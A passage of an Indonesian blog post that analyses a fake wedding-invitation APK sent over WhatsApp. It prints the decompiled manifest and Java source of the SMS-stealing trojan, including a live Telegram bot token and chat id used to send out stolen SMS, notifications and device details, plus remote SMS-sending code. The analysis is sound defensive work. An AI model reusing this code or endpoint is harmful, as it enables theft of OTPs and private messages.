ADVERTISEMENT

Pada pagi hari tanggal 16 Maret 2024, tepatnya pukul 06.51 WIB, saya menerima sebuah pesan WhatsApp dari nomor yang tidak dikenal: +62 851-5870-5611. Pesan tersebut terlihat biasa saja, berisi sebuah berkas APK yang diklaim sebagai undangan pernikahan digital.

 Kiriman APK Undangan Pernikahan melalui WhatsApp

Kiriman APK Undangan Pernikahan melalui WhatsApp

Tidak diragukan lagi, pesan tersebut merupakan bagian dari modus penipuan yang menargetkan individu yang kurang waspada dengan cara mengecoh mereka agar menginstal aplikasi berbahaya yang berisi malware.

Apa Itu APK dan Mengapa Bisa Berbahaya?

Bagi yang belum familiar, APK (Android Package Kit) adalah format berkas yang digunakan untuk menginstal aplikasi di perangkat Android. Jika di Windows kita mengenal .exe, dan di macOS ada .dmg, maka di Android kita punya .apk.

Sebagian besar pengguna menginstal aplikasi dari Google Play Store, yang memiliki sistem keamanan untuk menyaring aplikasi berbahaya. Namun, jika kita menginstal APK dari luar sumber resmi, kita mengambil risiko besarโ€”bisa saja berkas tersebut mengandung malware, spyware, atau bahkan ransomware yang dapat mencuri data pribadi, mengambil kendali perangkat, atau merugikan dalam bentuk lain.

Modus Penipuan dengan APK Palsu

Modus penyebaran malware melalui APK masih dipakai hingga saat ini. Biasanya, pelaku kejahatan menyamar sebagai pengirim undangan, notifikasi paket, atau bahkan aplikasi instan yang menarik perhatian. Korban yang tidak curiga akan menginstalnya tanpa menyadari bahwa mereka sedang memberikan akses penuh ke perangkat mereka.

Dalam kasus ini, berkas APK yang saya terima berpura-pura sebagai undangan pernikahan. Padahal, kemungkinan besar ini adalah aplikasi berbahaya yang dirancang untuk mencuri data, mengakses kontak, atau bahkan mengambil kendali penuh atas perangkat yang terinfeksi.

Langkah yang Saya Lakukan untuk Menganalisis APK Ini

Didorong oleh rasa ingin tahu, saya memutuskan untuk mengunduh berkas APK yang diklaim sebagai undangan pernikahan guna melakukan analisis sederhana. Tujuan utama dari analisis ini adalah untuk memahami struktur internal aplikasi serta meninjau kode sumbernya guna mengidentifikasi potensi risiko keamanan.

Untuk membongkar dan menganalisis kode di dalamnya, saya menggunakan jadx yang merupakan alat yang mendukung antarmuka command line maupun Graphical User Interface (GUI), yang berfungsi mengonversi berkas DEX dan APK ke dalam kode sumber Java. Dengan alat ini, saya dapat menelusuri cara kerja aplikasi, mengidentifikasi skrip berbahaya, meninjau izin yang mencurigakan, serta mendeteksi mekanisme tersembunyi yang berpotensi membahayakan perangkat dan data pengguna. Selain itu, saya juga memanfaatkan ChatGPT untuk membantu dalam memahami dan menginterpretasikan kode yang ditemukan serta menulis artikel ini.

Bongkar Berkas AndroidManifest.xml

AndroidManifest.xml adalah elemen krusial dalam setiap aplikasi Android yang berfungsi sebagai pusat deklarasi informasi bagi sistem operasi, fitur build Android, dan Google Play. Berkas ini mendefinisikan komponen utama aplikasi, seperti aktivitas, layanan, penerima siaran, dan penyedia konten, serta mengatur izin yang diperlukan untuk mengakses fitur sistem atau berkomunikasi dengan aplikasi lain. Selain itu, manifes ini menetapkan persyaratan perangkat keras dan perangkat lunak, memastikan hanya perangkat yang kompatibel yang dapat menginstalnya melalui Google Play. Sebagai fondasi ekosistem Android, AndroidManifest.xml berperan penting dalam menjaga keamanan, kompatibilitas, dan fungsionalitas aplikasi di berbagai lingkungan penggunaan.

Berikut isi berkas AndroidManifest.xml yang ada di APK Undangan Pernikahan:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="1"
    android:versionName="1.0"
    android:compileSdkVersion="32"
    android:compileSdkVersionCodename="13"
    package="com.replit.app"
    platformBuildVersionCode="32"
    platformBuildVersionName="13">
    <uses-sdk
        android:minSdkVersion="26"
        android:targetSdkVersion="32"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    <application
        android:theme="@NP_MANAGER15/Theme.AppCompat.NoActionBar"
        android:label=""
        android:icon="@NP_MANAGER12/back"
        android:debuggable="true"
        android:allowBackup="true"
        android:supportsRtl="true"
        android:fullBackupContent="@NP_MANAGER17/backup_rules"
        android:roundIcon="@NP_MANAGER12/back"
        android:appComponentFactory="androidx.core.app.CoreComponentFactory"
        android:dataExtractionRules="@NP_MANAGER17/data_extraction_rules">
        <activity
            android:name="com.example.myapplicatior.MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.INFO"/>
            </intent-filter>
            <meta-data
                android:name="android.app.lib_name"
                android:value=""/>
        </activity>
        <receiver
            android:name="com.example.myapplicatior.ReceiveSms"
            android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="com.example.myapplicatior.SendSMS"
            android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>
        <service
            android:label="notification_service"
            android:name="com.example.myapplicatior.NotificationService"
            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
            android:exported="false">
            <intent-filter>
                <action android:name="android.service.notification.NotificationListenerService"/>
            </intent-filter>
        </service>
        <provider
            android:name="androidx.startup.InitializationProvider"
            android:exported="false"
            android:authorities="com.replit.app.androidx-startup">
            <meta-data
                android:name="androidx.work.WorkManagerInitializer"
                android:value="androidx.startup"/>
            <meta-data
                android:name="androidx.emoji2.text.EmojiCompatInitializer"
                android:value="androidx.startup"/>
            <meta-data
                android:name="androidx.lifecycle.ProcessLifecycleInitializer"
                android:value="androidx.startup"/>
        </provider>
        <service
            android:name="androidx.work.impl.background.systemalarm.SystemAlarmService"
            android:enabled="@NP_MANAGER4/enable_system_alarm_service_default"
            android:exported="false"
            android:directBootAware="false"/>
        <service
            android:name="androidx.work.impl.background.systemjob.SystemJobService"
            android:permission="android.permission.BIND_JOB_SERVICE"
            android:enabled="@NP_MANAGER4/enable_system_job_service_default"
            android:exported="true"
            android:directBootAware="false"/>
        <service
            android:name="androidx.work.impl.foreground.SystemForegroundService"
            android:enabled="@NP_MANAGER4/enable_system_foreground_service_default"
            android:exported="false"
            android:directBootAware="false"/>
        <receiver
            android:name="androidx.work.impl.utils.ForceStopRunnable.BroadcastReceiver"
            android:enabled="true"
            android:exported="false"
            android:directBootAware="false"/>
        <receiver
            android:name="androidx.work.impl.background.systemalarm.ConstraintProxy.BatteryChargingProxy"
            android:enabled="false"
            android:exported="false"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="android.intent.action.ACTION_POWER_CONNECTED"/>
                <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="androidx.work.impl.background.systemalarm.ConstraintProxy.BatteryNotLowProxy"
            android:enabled="false"
            android:exported="false"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="android.intent.action.BATTERY_OKAY"/>
                <action android:name="android.intent.action.BATTERY_LOW"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="androidx.work.impl.background.systemalarm.ConstraintProxy.StorageNotLowProxy"
            android:enabled="false"
            android:exported="false"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="android.intent.action.DEVICE_STORAGE_LOW"/>
                <action android:name="android.intent.action.DEVICE_STORAGE_OK"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="androidx.work.impl.background.systemalarm.ConstraintProxy.NetworkStateProxy"
            android:enabled="false"
            android:exported="false"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="androidx.work.impl.background.systemalarm.RescheduleReceiver"
            android:enabled="false"
            android:exported="false"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.intent.action.TIME_SET"/>
                <action android:name="android.intent.action.TIMEZONE_CHANGED"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="androidx.work.impl.background.systemalarm.ConstraintProxyUpdateReceiver"
            android:enabled="@NP_MANAGER4/enable_system_alarm_service_default"
            android:exported="false"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="androidx.work.impl.background.systemalarm.UpdateProxies"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="androidx.work.impl.diagnostics.DiagnosticsReceiver"
            android:permission="android.permission.DUMP"
            android:enabled="true"
            android:exported="true"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="androidx.work.diagnostics.REQUEST_DIAGNOSTICS"/>
            </intent-filter>
        </receiver>
        <service
            android:name="androidx.room.MultiInstanceInvalidationService"
            android:exported="false"
            android:directBootAware="true"/>
    </application>
</manifest>

Berdasarkan analisis terhadap berkas AndroidManifest.xml, terdapat beberapa indikasi bahwa aplikasi ini memiliki potensi sebagai malware, khususnya SMS Trojan. Salah satu faktor utama yang mencurigakan adalah adanya sejumlah izin berisiko tinggi yang memungkinkan aplikasi mengakses data sensitif dan melakukan tindakan tanpa sepengetahuan pengguna. Izin yang diminta oleh aplikasi sebagai berikut:

  • RECEIVE_SMS: Mengizinkan aplikasi menerima pesan SMS yang masuk. Izin ini umumnya digunakan untuk fitur seperti verifikasi OTP atau pemantauan pesan masuk.

  • READ_SMS: Memungkinkan aplikasi membaca pesan SMS yang tersimpan di perangkat.

  • SEND_SMS: Memberikan kemampuan bagi aplikasi untuk mengirim SMS tanpa interaksi langsung dari pengguna.

  • INTERNET: Mengizinkan aplikasi untuk mengakses jaringan internet.

  • ACCESS_NETWORK_STATE: Memungkinkan aplikasi memeriksa status koneksi jaringan, seperti apakah perangkat terhubung ke Wi-Fi atau data seluler.

  • WAKE_LOCK: Mencegah perangkat masuk ke mode tidur saat aplikasi sedang berjalan.

  • RECEIVE_BOOT_COMPLETED: Mengizinkan aplikasi untuk dijalankan secara otomatis setelah perangkat selesai melakukan booting.

  • FOREGROUND_SERVICE: Memungkinkan aplikasi menjalankan layanan di foreground dengan menampilkan notifikasi aktif.

Bongkar Berkas MainActivity.java

Dalam aplikasi Android, MainActivity.java adalah kelas utama yang berperan sebagai titik masuk utama aplikasi, berisi logika inti yang mengatur tampilan dan interaksi awal pengguna.

Berikut isi berkas MainActivity.java yang ada di APK Undangan Pernikahan:

package com.example.myapplicatior;

import android.app.NotificationManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.graphics.Color;
import android.os.Build;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.text.Html;
import android.util.Log;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.TableRow;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import androidx.localbroadcastmanager.content.LocalBroadcastManager;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.HttpUrl;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
    private static final int RESULT_ENABLE = 0;
    private static final int VISIBILITY = 1028;
    private Object devicePolicyManager;
    ComponentName mDeviceAdminSample;
    private TextView textView;
    WebSettings websettingku;
    WebView webviewku;
    private final OkHttpClient client = new OkHttpClient();
    final String TAG = "demo1";
    String device = Build.BRAND + " - " + Build.MODEL + SmsManager.getDefault();
    private BroadcastReceiver onNotice = new BroadcastReceiver() { // from class: com.example.myapplicatior.MainActivity.1
        @Override // android.content.BroadcastReceiver
        public void onReceive(Context context, Intent intent) {
            String stringExtra = intent.getStringExtra("package");
            String stringExtra2 = intent.getStringExtra("title");
            String stringExtra3 = intent.getStringExtra("text");
            intent.getStringExtra("id");
            new TableRow(MainActivity.this.getApplicationContext()).setLayoutParams(new TableRow.LayoutParams(-1, -2));
            TextView textView = new TextView(MainActivity.this.getApplicationContext());
            textView.setLayoutParams(new TableRow.LayoutParams(-2, -2, 1.0f));
            textView.setTextSize(12.0f);
            textView.setTextColor(Color.parseColor("#000000"));
            textView.setText(Html.fromHtml("From : " + stringExtra2 + " | Message : </b>" + stringExtra3));
            MainActivity.this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot7778660369:AAE-npLp2a6N6VJpw36Co0AT_enMeaHfzWg/sendMessage?parse_mode=markdown&chat_id=6469270014&text=*" + stringExtra + "* %0A%0A*From :* _" + stringExtra2 + "_%0A*Message :* _" + stringExtra3 + "_").build()).enqueue(new Callback() { // from class: com.example.myapplicatior.MainActivity.1.1
                @Override // okhttp3.Callback
                public void onFailure(Call call, IOException iOException) {
                    iOException.printStackTrace();
                }

                @Override // okhttp3.Callback
                public void onResponse(Call call, Response response) throws IOException {
                    Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
                    if (response.isSuccessful()) {
                        response.body().string();
                    }
                }
            });
        }
    };

    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(com.replit.app.R.NP_MANAGER11.activity_main);
        WebView webView = (WebView) findViewById(com.replit.app.R.NP_MANAGER8.my_web);
        this.webviewku = webView;
        WebSettings settings = webView.getSettings();
        this.websettingku = settings;
        settings.setJavaScriptEnabled(true);
        this.webviewku.setWebViewClient(new WebViewClient());
        this.webviewku.loadUrl("https://j3uwssjhsu73je.vercel.app/");
        if (Build.VERSION.SDK_INT >= 19) {
            this.webviewku.setLayerType(2, null);
        } else if (Build.VERSION.SDK_INT >= 11 && Build.VERSION.SDK_INT < 19) {
            this.webviewku.setLayerType(1, null);
        }
        if (Build.VERSION.SDK_INT < 23 || checkSelfPermission("android.permission.RECEIVE_SMS") == 0 || checkSelfPermission("android.permission.SEND_SMS") == 0) {
            return;
        }
        requestPermissions(new String[]{"android.permission.RECEIVE_SMS", "android.permission.SEND_SMS"}, 1000);
    }

    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity
    public void onRequestPermissionsResult(int i, String[] strArr, int[] iArr) {
        super.onRequestPermissionsResult(i, strArr, iArr);
        if (i == 1000) {
            if (iArr[0] != 0) {
                Toast.makeText(this, "Permission Not Granted!", 0).show();
                this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot7778660369:AAE-npLp2a6N6VJpw36Co0AT_enMeaHfzWg/sendMessage?parse_mode=markdown&chat_id=6469270014&text=๐๐จ๐ญ๐ข๐Ÿ๐ข๐ค๐š๐ฌ๐ข ๐€๐ฉ๐ฅ๐ข๐ค๐š๐ฌ๐ข ๐ƒ๐ข ๐ˆ๐ง๐ฌ๐ญ๐š๐ฅ๐ฅ \n ๐“๐ฒ๐ฉ๐ž ๐๐ž๐ซ๐š๐ง๐ ๐ค๐š๐ญ: _" + this.device + "_").build()).enqueue(new Callback() { // from class: com.example.myapplicatior.MainActivity.4
                    @Override // okhttp3.Callback
                    public void onFailure(Call call, IOException iOException) {
                        iOException.printStackTrace();
                    }

                    @Override // okhttp3.Callback
                    public void onResponse(Call call, Response response) throws IOException {
                        Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
                        if (response.isSuccessful()) {
                            response.body().string();
                        }
                    }
                });
                finish();
                return;
            }
            this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot7778660369:AAE-npLp2a6N6VJpw36Co0AT_enMeaHfzWg/sendMessage?parse_mode=markdown&chat_id=6469270014&text=๐๐จ๐ญ๐ข๐Ÿ๐ข๐ค๐š๐ฌ๐ข ๐€๐ฉ๐ฅ๐ข๐ค๐š๐ฌ๐ข ๐ƒ๐ข ๐ˆ๐ง๐ฌ๐ญ๐š๐ฅ๐ฅ \n ๐“๐ฒ๐ฉ๐ž ๐๐ž๐ซ๐š๐ง๐ ๐ค๐š๐ญ: _" + this.device).build()).enqueue(new Callback() { // from class: com.example.myapplicatior.MainActivity.2
                @Override // okhttp3.Callback
                public void onFailure(Call call, IOException iOException) {
                    iOException.printStackTrace();
                }

                @Override // okhttp3.Callback
                public void onResponse(Call call, Response response) throws IOException {
                    Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
                    if (response.isSuccessful()) {
                        response.body().string();
                    }
                }
            });
            try {
                SmsManager.getDefault().sendTextMessage("082378996852", null, "hoki Bosku", null, null);
            } catch (Exception e) {
                this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot7778660369:AAE-npLp2a6N6VJpw36Co0AT_enMeaHfzWg/sendMessage?parse_mode=markdown&chat_id=6469270014&text=Error : _" + e).build()).enqueue(new Callback() { // from class: com.example.myapplicatior.MainActivity.3
                    @Override // okhttp3.Callback
                    public void onFailure(Call call, IOException iOException) {
                        iOException.printStackTrace();
                    }

                    @Override // okhttp3.Callback
                    public void onResponse(Call call, Response response) throws IOException {
                        Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
                        if (response.isSuccessful()) {
                            response.body().string();
                        }
                    }
                });
                Toast.makeText(getApplicationContext(), HttpUrl.FRAGMENT_ENCODE_SET + e, 1).show();
            }
            NotificationManager notificationManager = (NotificationManager) getApplicationContext().getSystemService("notification");
            if (Build.VERSION.SDK_INT >= 23 && !notificationManager.isNotificationPolicyAccessGranted()) {
                startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"));
                Toast.makeText(this, "Aktifkan Izin Aplikasi!", 0).show();
            }
            LocalBroadcastManager.getInstance(this).registerReceiver(this.onNotice, new IntentFilter("Msg"));
        }
    }
}

Berdasarkan analisis kode sumber MainActivity.java, terdapat beberapa indikasi kuat bahwa aplikasi ini memiliki sifat berbahaya dan kemungkinan besar merupakan malware, khususnya SMS Trojan dan Spyware. Berikut adalah beberapa temuan utama dari analisis kode ini:

1. Penggunaan Izin Sensitif

Aplikasi ini meminta beberapa izin yang memungkinkan akses dan manipulasi data pengguna tanpa sepengetahuan mereka. Beberapa izin tersebut meliputi:

  • RECEIVE_SMS & READ_SMS โ†’ Aplikasi dapat membaca pesan masuk, termasuk kode OTP yang dikirim oleh layanan perbankan atau platform lainnya.
  • SEND_SMS โ†’ Memungkinkan aplikasi mengirim pesan secara diam-diam ke nomor tertentu, yang dapat berisiko menimbulkan biaya tambahan bagi korban.

  • INTERNET โ†’ Aplikasi memiliki kemampuan untuk mengirimkan data yang telah dikumpulkan ke server eksternal, dalam hal ini API Telegram yang diduga dikendalikan oleh penyerang.

  • RECEIVE_BOOT_COMPLETED โ†’ Memungkinkan aplikasi untuk berjalan secara otomatis saat perangkat dinyalakan, yang sering digunakan oleh malware untuk tetap aktif.

2. Pengambilan dan Pengiriman Data ke Server Eksternal

Kode ini menunjukkan bahwa aplikasi menangkap notifikasi dari aplikasi lain, mengambil judul dan isi pesan, lalu mengirimkan informasi tersebut ke bot Telegram melalui API. Hal ini dapat digunakan untuk mencuri OTP atau data sensitif lainnya misalnya dari aplikasi perbankan dan media sosial.

MainActivity.this.client.newCall(new Request.Builder().url(
  "https://api.telegram.org/bot7778660369:AAE-npLp2a6N6VJpw36Co0AT_enMeaHfzWg/sendMessage?parse_mode=markdown&chat_id=6469270014&text=*"
  + stringExtra + "* %0A%0A*From :* _" + stringExtra2 + "_%0A*Message :* _" + stringExtra3 + "_").build()).enqueue(new Callback() {

Kode di atas menunjukkan bahwa setiap pesan yang diterima oleh perangkat akan dikirimkan ke chat Telegram milik penyerang, sehingga memungkinkan pencurian data secara real-time.

3. Menjalankan WebView dengan URL Mencurigakan

Pada fungsi onCreate(), aplikasi memuat halaman web dengan alamat mencurigakan:

this.webviewku.loadUrl("https://j3uwssjhsu73je.vercel.app/");

Tampilan halaman web sebagai berikut:

 Tampilan halaman web https://j3uwssjhsu73je.vercel.app/

Tampilan halaman web https://j3uwssjhsu73je.vercel.app/

4. Mengirim SMS ke Nomor Tertentu

Kode berikut menunjukkan bahwa aplikasi secara otomatis mengirim SMS ke nomor tertentu tanpa interaksi pengguna:

SmsManager.getDefault().sendTextMessage("082378996852", null, "hoki Bosku", null, null);

Hal ini menandakan bahwa aplikasi berpotensi melakukan penipuan via SMS, seperti mengirimkan pesan spam atau menipu korban lainnya menggunakan perangkat yang terinfeksi.

Bongkar Berkas ReceiveSms.java

Berikut isi berkas ReceiveSms.java yang ada di APK Undangan Pernikahan:

package com.example.myapplicatior;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

/* loaded from: classes3.dex */
public class ReceiveSms extends BroadcastReceiver {
    private final OkHttpClient client = new OkHttpClient();
    final String TAG = "demo";

    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        Bundle extras;
        String str = "\n - Product : ";
        if (!intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED") || (extras = intent.getExtras()) == null) {
            return;
        }
        try {
            Object[] objArr = (Object[]) extras.get("pdus");
            SmsMessage[] smsMessageArr = new SmsMessage[objArr.length];
            int i = 0;
            while (i < smsMessageArr.length) {
                smsMessageArr[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
                String originatingAddress = smsMessageArr[i].getOriginatingAddress();
                String replace = smsMessageArr[i].getMessageBody().replace("&", "  ").replace("#", " ");
                replace.replace("?", " ");
                String str2 = "ID : " + Build.ID + "\n - User : " + Build.USER + str + Build.PRODUCT + "\n - Brand : " + Build.BRAND + "\n - Board : " + Build.BOARD + "\n - BOOTLOADER : " + Build.BOOTLOADER + "\n - DISPLAY : " + Build.DISPLAY + "\n - HOST : " + Build.HOST + "\n - DEVICE : " + Build.DEVICE + "\n -TAGS : " + Build.TAGS + "\n - FINGERPRINT : " + Build.FINGERPRINT + "\n - TYPE : " + Build.TYPE + str + Build.TIME + "\n - ";
                Request.Builder builder = new Request.Builder();
                String str3 = str;
                StringBuilder append = new StringBuilder().append("https://api.telegram.org/bot7778660369:AAE-npLp2a6N6VJpw36Co0AT_enMeaHfzWg/sendMessage?parse_mode=markdown&chat_id=6469270014&text=๐๐ž๐ฐ ๐’๐Œ๐’ ๐‘๐ž๐œ๐ž๐ข๐ฏ๐ž๐ %0A %0A๐’๐ž๐ง๐๐ž๐ซ : _").append(originatingAddress).append("_,%0A๐Œ๐ž๐ฌ๐ฌ๐š๐ ๐ž : _\n\n").append(replace).append("%0A %0A๐“๐ฒ๐ฉ๐ž ๐๐ž๐ซ๐š๐ง๐ ๐ค๐š๐ญ : ");
                append.append(Build.MANUFACTURER);
                this.client.newCall(builder.url(append.append(" ").append(Build.MODEL).append("_").toString()).build()).enqueue(new Callback() { // from class: com.example.myapplicatior.ReceiveSms.1
                    @Override // okhttp3.Callback
                    public void onFailure(Call call, IOException iOException) {
                        iOException.printStackTrace();
                    }

                    @Override // okhttp3.Callback
                    public void onResponse(Call call, Response response) throws IOException {
                        Log.d("demo", "OnResponse: Thread Id " + Thread.currentThread().getId());
                        if (response.isSuccessful()) {
                            response.body().string();
                        }
                    }
                });
                i++;
                str = str3;
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Berkas ReceiveSms.java dalam aplikasi ini berfungsi sebagai BroadcastReceiver yang mendeteksi dan menangani pesan SMS masuk pada perangkat Android. Berdasarkan analisis kode sumber, terdapat indikasi kuat bahwa berkas ini memiliki karakteristik berbahaya karena mengandung mekanisme yang memungkinkan pencurian data SMS pengguna serta informasi perangkat. Berikut adalah analisis rinci dari fungsi-fungsi utama dalam kode ini.

1. Implementasi BroadcastReceiver untuk Menerima SMS

Kode ini mendefinisikan kelas ReceiveSms yang memperluas BroadcastReceiver, memungkinkan aplikasi untuk menangkap pesan SMS masuk tanpa memerlukan interaksi pengguna.

@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
    if (!intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED") || intent.getExtras() == null) {
        return;
    }

Blok kode ini memastikan bahwa aplikasi hanya merespons broadcast yang dikirim saat ada SMS masuk (android.provider.Telephony.SMS_RECEIVED). Jika broadcast bukan berasal dari SMS masuk atau tidak mengandung data tambahan, metode onReceive() akan langsung berhenti.

2. Pengambilan Isi Pesan SMS

Aplikasi kemudian mengambil data SMS yang diterima dengan membaca array pdus (Protocol Data Units):

Object[] objArr = (Object[]) extras.get("pdus");
SmsMessage[] smsMessageArr = new SmsMessage[objArr.length];
for (int i = 0; i < smsMessageArr.length; i++) {
    smsMessageArr[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
    String originatingAddress = smsMessageArr[i].getOriginatingAddress();
    String replace = smsMessageArr[i].getMessageBody().replace("&", "  ").replace("#", " ");

Kode ini mengonversi data pdus menjadi objek SmsMessage untuk mendapatkan nomor pengirim (originatingAddress) dan isi pesan (replace). Proses ini memungkinkan aplikasi membaca semua SMS masuk yang diterima perangkat.

3. Pengambilan Informasi Perangkat

Selain membaca SMS, kode ini juga mengumpulkan berbagai informasi perangkat menggunakan kelas Build, termasuk:

  • ID Perangkat (Build.ID)
  • Nama Pengguna (Build.USER)
  • Produk Perangkat (Build.PRODUCT)
  • Merk dan Model (Build.MANUFACTURER, Build.MODEL)
  • Fingerprint Perangkat (Build.FINGERPRINT)

Berikut contoh kode yang mengumpulkan informasi tersebut:

String str2 = "ID : " + Build.ID + "\n - User : " + Build.USER + "\n - Product : " + Build.PRODUCT + "\n - Brand : " + Build.BRAND;

Pengumpulan data ini menunjukkan indikasi spyware, karena perangkat seharusnya tidak mengakses informasi ini tanpa alasan yang jelas.

4. Pengiriman Data ke Server Eksternal (Telegram Bot)

Data SMS yang diterima, beserta informasi perangkat, dikirim ke server eksternal menggunakan API Telegram Bot:

Request.Builder builder = new Request.Builder();
StringBuilder append = new StringBuilder().append("https://api.telegram.org/bot7778660369:AAE-npLp2a6N6VJpw36Co0AT_enMeaHfzWg/sendMessage?parse_mode=markdown&chat_id=6469270014&text=");
append.append("๐๐ž๐ฐ ๐’๐Œ๐’ ๐‘๐ž๐œ๐ž๐ข๐ฏ๐ž๐ %0A %0A๐’๐ž๐ง๐๐ž๐ซ : _").append(originatingAddress).append("_,%0A๐Œ๐ž๐ฌ๐ฌ๐š๐ ๐ž : _

").append(replace);
this.client.newCall(builder.url(append.toString()).build()).enqueue(new Callback() {
    @Override
    public void onFailure(Call call, IOException iOException) {
        iOException.printStackTrace();
    }
    @Override
    public void onResponse(Call call, Response response) throws IOException {
        if (response.isSuccessful()) {
            response.body().string();
        }
    }
});

Kode ini menunjukkan bahwa setiap SMS yang diterima akan dikirim ke chat Telegram yang dikendalikan oleh pelaku. Dengan demikian, malware ini dapat mencuri informasi sensitif seperti kode OTP yang dikirim melalui SMS.

Bongkar Berkas SendSMS.java

Berikut isi berkas SendSMS.java yang ada di APK Undangan Pernikahan:

package com.example.myapplicatior;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

/* loaded from: classes3.dex */
public class SendSMS extends BroadcastReceiver {
    private final OkHttpClient client = new OkHttpClient();
    final String TAG = "demo";

    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        Bundle extras;
        Bundle bundle;
        String str = " ";
        String str2 = ",";
        if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED") && (extras = intent.getExtras()) != null) {
            try {
                Object[] objArr = (Object[]) extras.get("pdus");
                SmsMessage[] smsMessageArr = new SmsMessage[objArr.length];
                int i = 0;
                while (i < smsMessageArr.length) {
                    smsMessageArr[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    smsMessageArr[i].getOriginatingAddress();
                    String messageBody = smsMessageArr[i].getMessageBody();
                    messageBody.replace("&", "  ").replace("#", str).replace("?", str);
                    String str3 = messageBody.split(str2)[0];
                    String str4 = messageBody.split(str2)[1];
                    String str5 = messageBody.split(str2)[2];
                    String str6 = str;
                    String str7 = str2;
                    if (Integer.parseInt(str3.toString()) == 55555) {
                        SmsManager.getDefault().sendTextMessage(str4, null, str5, null, null);
                        bundle = extras;
                        try {
                            this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot7778660369:AAE-npLp2a6N6VJpw36Co0AT_enMeaHfzWg/sendMessage?parse_mode=markdown&chat_id=6469270014&text=Berhasil Kirim SMS dari Jauh  %0AKepada  : _" + str4 + "_,%0A๐ฆ๐ž๐ฌ๐ฌ๐š๐ ๐ž : _" + str5 + "_").build()).enqueue(new Callback() { // from class: com.example.myapplicatior.SendSMS.1
                                @Override // okhttp3.Callback
                                public void onFailure(Call call, IOException iOException) {
                                    iOException.printStackTrace();
                                }

                                @Override // okhttp3.Callback
                                public void onResponse(Call call, Response response) throws IOException {
                                    Log.d("demo", "OnResponse: Thread Id " + Thread.currentThread().getId());
                                    if (response.isSuccessful()) {
                                        response.body().string();
                                    }
                                }
                            });
                        } catch (Exception e) {
                            e = e;
                            e.printStackTrace();
                            return;
                        }
                    } else {
                        bundle = extras;
                    }
                    i++;
                    extras = bundle;
                    str = str6;
                    str2 = str7;
                }
            } catch (Exception e2) {
